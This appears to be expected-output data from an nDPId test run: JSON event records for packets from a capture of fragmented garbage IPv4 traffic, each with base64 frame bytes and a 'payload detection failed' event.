+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2984,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435467,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTEAGRGUKAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2984,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2985,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435475,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTkAGRGMKAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2985,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2986,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435482,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUEAGRGEKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2986,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2987,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435499,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUkAGRF8KAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2987,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2988,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435506,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVEAGRF0KAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2988,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2989,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435518,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVkAGRFsKAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2989,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2990,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435528,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWEAGRFkKAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2990,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2991,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435537,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWkAGRFcKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2991,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2992,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435546,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXEAGRFUKAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2992,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2993,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435553,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXkAGRFMKAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2993,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2994,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435561,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYEAGRFEKAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2994,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2995,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435575,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYkAGRE8KAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2995,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2996,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435593,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZEAGRE0KAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2996,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2997,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435613,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZkAGREsKAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2997,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2998,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435626,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhaEAGREkKAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2998,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2999,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435638,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhakAGREcKAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2999,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3000,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435650,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbEAGREUKAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3000,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3001,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435665,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbkAGREMKAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3001,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3002,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435678,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhcEAGREEKAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3002,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3003,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435686,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhckAGRD8KAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3003,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3004,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435694,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdEAGRD0KAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3004,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3005,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435704,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdkAGRDsKAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3005,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3006,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435716,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAheEAGRDkKAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3006,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3007,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435728,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhekAGRDcKAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3007,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3008,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435740,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfEAGRDUKAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3008,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3009,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435749,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfkAGRDMKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3009,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3010,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435757,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgEAGRDEKAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3010,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3011,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435765,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgkAGRC8KAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3011,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3012,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435782,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhEAGRC0KAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3012,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3013,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435793,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhkAGRCsKAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3013,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3014,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435804,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhiEAGRCkKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3014,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3015,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435816,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhikAGRCcKAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3015,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3016,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435827,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjEAGRCUKAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3016,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3017,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435838,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjkAGRCMKAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3017,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3018,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435850,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkEAGRCEKAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3018,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3019,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435859,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkkAGRB8KAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3019,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3020,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435868,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlEAGRB0KAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3020,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3021,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435875,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlkAGRBsKAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3021,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3022,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435890,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmEAGRBkKAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3022,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3023,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435903,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmkAGRBcKAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3023,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3024,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435914,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnEAGRBUKAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3024,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3025,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435926,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnkAGRBMKAAACCoAAAl4mKigpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3025,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 